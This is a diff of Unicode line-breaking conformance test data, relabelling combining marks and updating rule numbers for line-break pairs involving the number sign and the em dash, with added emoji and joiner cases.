-× 0023 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0023 × 0308 ÷ 11A8 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0023 ÷ 1160 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0023 × 0020 ÷ 1160 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0023 × 0308 ÷ 1160 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0023 × 0308 ÷ 1160 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0023 × 000A ÷ # × [0.3] NUMBER SIGN (AL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0023 × 0020 × 000A ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0023 × 0308 × 000A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0023 × 0308 × 0020 × 000A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0023 × 0308 × 000A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0023 × 0308 × 0020 × 000A ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0023 × 0085 ÷ # × [0.3] NUMBER SIGN (AL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0023 × 0020 × 0085 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0023 × 0308 × 0085 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0023 × 0308 × 0020 × 0085 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0023 × 0308 × 0085 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0023 × 0308 × 0020 × 0085 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0023 × 17D6 ÷ # × [0.3] NUMBER SIGN (AL) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0023 × 0020 ÷ 17D6 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0023 × 0308 × 17D6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0023 × 0308 × 17D6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0023 × 0030 ÷ # × [0.3] NUMBER SIGN (AL) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
× 0023 × 0020 ÷ 0030 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0023 × 0308 × 0030 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0023 × 0308 × 0030 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0023 × 0028 ÷ # × [0.3] NUMBER SIGN (AL) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0023 × 0020 ÷ 0028 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0023 × 0308 × 0028 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0023 ÷ 0025 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0023 × 0308 × 0028 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0023 × 0025 ÷ # × [0.3] NUMBER SIGN (AL) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
× 0023 × 0020 ÷ 0025 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0023 × 0308 ÷ 0025 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0023 ÷ 0024 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0023 × 0308 × 0025 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0023 × 0024 ÷ # × [0.3] NUMBER SIGN (AL) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
× 0023 × 0020 ÷ 0024 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0023 × 0308 ÷ 0024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0023 × 0308 × 0024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0023 × 0022 ÷ # × [0.3] NUMBER SIGN (AL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0023 × 0020 ÷ 0022 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0023 × 0308 × 0022 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0023 × 0308 × 0022 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0023 × 0020 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [0.3]
× 0023 × 0020 × 0020 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0023 × 0308 × 0020 × 0020 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0023 × 0308 × 0020 × 0020 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0023 × 002F ÷ # × [0.3] NUMBER SIGN (AL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0023 × 0020 × 002F ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0023 × 0308 × 002F ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0023 × 0308 × 0020 × 002F ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0023 × 0308 × 002F ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0023 × 0308 × 0020 × 002F ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0023 × 2060 ÷ # × [0.3] NUMBER SIGN (AL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0023 × 0020 × 2060 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0023 × 0308 × 2060 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0023 × 0308 × 0020 × 2060 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0023 × 0308 × 2060 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0023 × 0308 × 0020 × 2060 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0023 × 200B ÷ # × [0.3] NUMBER SIGN (AL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0023 × 0020 × 200B ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0023 × 0308 × 200B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0023 × 0308 × 0020 × 200B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0023 × 0308 × 200B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0023 × 0308 × 0020 × 200B ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0023 ÷ 1F1E6 ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0023 × 0020 ÷ 1F1E6 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0023 × 0308 ÷ 1F1E6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0023 × 0308 ÷ 1F1E6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0023 ÷ 261D ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0023 × 0020 ÷ 261D ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0023 × 0308 ÷ 261D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 261D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0023 ÷ 1F3FB ÷ # × [0.3] NUMBER SIGN (AL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0023 × 0020 ÷ 1F3FB ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0023 × 0308 ÷ 1F3FB ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0023 × 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0023 × 0020 ÷ 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0023 × 0308 × 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0023 × 200D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0023 × 0020 ÷ 200D ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0023 × 0308 × 200D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 200D ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0023 × 00A7 ÷ # × [0.3] NUMBER SIGN (AL) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0023 × 0020 ÷ 00A7 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0023 × 0308 × 00A7 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0023 × 0308 × 00A7 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0023 × 50005 ÷ # × [0.3] NUMBER SIGN (AL) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0023 × 0020 ÷ 50005 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0023 × 0308 × 50005 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0023 × 0308 × 50005 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0023 × 0E01 ÷ # × [0.3] NUMBER SIGN (AL) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0023 × 0020 ÷ 0E01 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0023 × 0308 × 0E01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0023 × 0308 × 0E01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0023 × 3041 ÷ # × [0.3] NUMBER SIGN (AL) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0023 × 0020 ÷ 3041 ÷ # × [0.3] NUMBER SIGN (AL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0023 × 0308 × 3041 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0023 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0023 × 0308 × 3041 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0023 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] NUMBER SIGN (AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 2014 ÷ 0023 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 2014 × 0020 ÷ 0023 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 2014 × 0308 ÷ 0023 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 2014 × 0308 ÷ 0023 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 2014 × 2014 ÷ # × [0.3] EM DASH (B2) × [17.0] EM DASH (B2) ÷ [0.3]
× 2014 × 0020 × 2014 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [17.0] EM DASH (B2) ÷ [0.3]
-× 2014 × 0308 × 2014 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [17.0] EM DASH (B2) ÷ [0.3]
-× 2014 × 0308 × 0020 × 2014 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [17.0] EM DASH (B2) ÷ [0.3]
+× 2014 × 0308 × 2014 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [17.0] EM DASH (B2) ÷ [0.3]
+× 2014 × 0308 × 0020 × 2014 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [17.0] EM DASH (B2) ÷ [0.3]
× 2014 × 0009 ÷ # × [0.3] EM DASH (B2) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 2014 × 0020 ÷ 0009 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 2014 × 0308 × 0009 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 2014 × 0308 × 0009 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 2014 ÷ 00B4 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 2014 × 0020 ÷ 00B4 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 2014 × 0308 ÷ 00B4 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 2014 × 0308 ÷ 00B4 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
